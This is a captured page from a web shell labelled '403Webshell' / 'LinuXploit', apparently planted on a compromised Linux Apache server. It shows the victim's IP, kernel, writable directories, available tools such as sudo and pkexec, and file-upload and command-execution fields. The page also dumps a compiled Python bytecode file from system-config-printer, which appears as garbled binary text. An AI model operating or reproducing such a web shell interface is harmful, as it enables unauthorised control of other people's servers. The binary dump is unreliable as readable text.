403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/troubleshoot/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/troubleshoot/__pycache__/ErrorLogFetch.cpython-310.pyc
o

3�bM�@s~ddlmZddlZddlZddlmZddlZddlZddlm	Z	ddl
TzddlmZWndZYGd	d
�d
e
�ZdS)�)�GtkN)�NamedTemporaryFile)�TimedOperation�)�*)�journalFc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
ErrorLogFetchcCs`t�||d�|�td�td��}t��|_|j�d�|�|jddd�|�	||�i|_
dS)NzError log fetchzRetrieve Journal Entriesz�No system journal entries were found. This may be because you are not an administrator. To fetch journal entries please run this command:Fr)�Question�__init__�initial_vbox�_r�Entry�entry�set_editable�
pack_start�new_page�persistent_answers)�self�troubleshooter�page�r�>/usr/share/system-config-printer/troubleshoot/ErrorLogFetch.pyr
's
�

zErrorLogFetch.__init__cs0|jj}|j��}i|_|�d�}|�d�}|�d�}d|jvs%d|jvr)d}d}dd�}tj�t����d�}|jjd	|_	d
|vr�zt
|j	j|d�|_|j�
�}Wntjy^YdSwd
|tj<|d}	|	�dd�|d<d}
dd�}zt
||j	|f|d�|_|j�
�d|jd<Wn
tjy�Ynwi|_tr�|dur�dd��t��}|�|�|jdd��fdd�|D�|jd<|dur�t
||j	f|d�|_|j�
�}
|
dur�t|
�}|�|�|��}t�|
�ddd�|D�i|_t|j�dg��t|j�dg��dk�rd||f}|j�|�dSdS)N�error_log_checkpoint�error_log_cursor�error_log_timestamp�	error_logrcSs�|��}|�d�|��tdd��D}d}z|jd|d�d}Wntjy<zt�|j	�Wn	t
y9YnwYnw|�|�|rN|jWd�SWd�dS1sYwYdS)NF)�deletez/admin/log/error_log)�fileT)�_get_prompt_allowed�_set_prompt_allowed�_connectr�getFile�cups�	HTTPError�os�remove�name�OSErrorr)�c�prompt�tmpf�successrrr�	fetch_logAs2
���
�
��z(ErrorLogFetch.display.<locals>.fetch_logz%F %T�_authenticated_connection�error_log_debug_logging_set)�parentF�0�cups_server_settings�
MaxLogSize�2000000cSsZ|�|�d}|dkr+zt�d�|��WdSty$|d7}Ynw|dksdSdS)Nr�)�adminSetServerSettings�time�sleepr �RuntimeError)�
connection�settings�attemptrrr�set_settingsds

��z+ErrorLogFetch.display.<locals>.set_settingsT�error_log_debug_logging_unsetc	SsNzd|d}Wn
ttfyd}Ynw|d|d�d�d|dS)N�	XACEWNIDd�PRIORITY� �__REALTIME_TIMESTAMPz
[%m/%b/%Y:%T]�MESSAGE)�
IndexError�	TypeError�strftime)�x�priorityrrr�journal_format~s����z-ErrorLogFetch.display.<locals>.journal_formatzcups.service)�
_SYSTEMD_UNITcsg|]}�|��qSrr��.0rF�rHrr�
<listcomp>��z)ErrorLogFetch.display.<locals>.<listcomp>cSsg|]}|���qSr)�striprJrrrrM�rNrzTsu -c 'journalctl -u cups.service --since="%s" --until="%s"' > troubleshoot-logs.txt)r�answers�
get_window�getr�datetime�
fromtimestampr6rE�authconnr�adminGetServerSettings�op�runr"�IPPError�CUPS_SERVER_DEBUG_LOGGINGr�Reader�seek_cursor�	add_match�open�seek�	readlinesr$r%�lenr�set_text)rrPr/�
checkpoint�cursor�	timestampr,�nowr:�
orig_settingsr+r<�r�tmpfname�f�lines�cmdrrLr�display4s�





��
�
�

�


���zErrorLogFetch.displaycCs|j��}|�|j�|S)N)r�copy�updaterP)rrPrrr�collect_answer�s
zErrorLogFetch.collect_answercCs4|j��|jj}|d}|��|_|j|jd<dS)N�!_authenticated_connection_factoryr-)rW�cancelrrP�get_connectionrU)rrP�factoryrrr�cancel_operation�s


zErrorLogFetch.cancel_operationN)�__name__�
__module__�__qualname__r
rmrprurrrrr&s

or)�
gi.repositoryrr"r$�tempfilerrSr6�timedopsr�base�systemdrr	rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit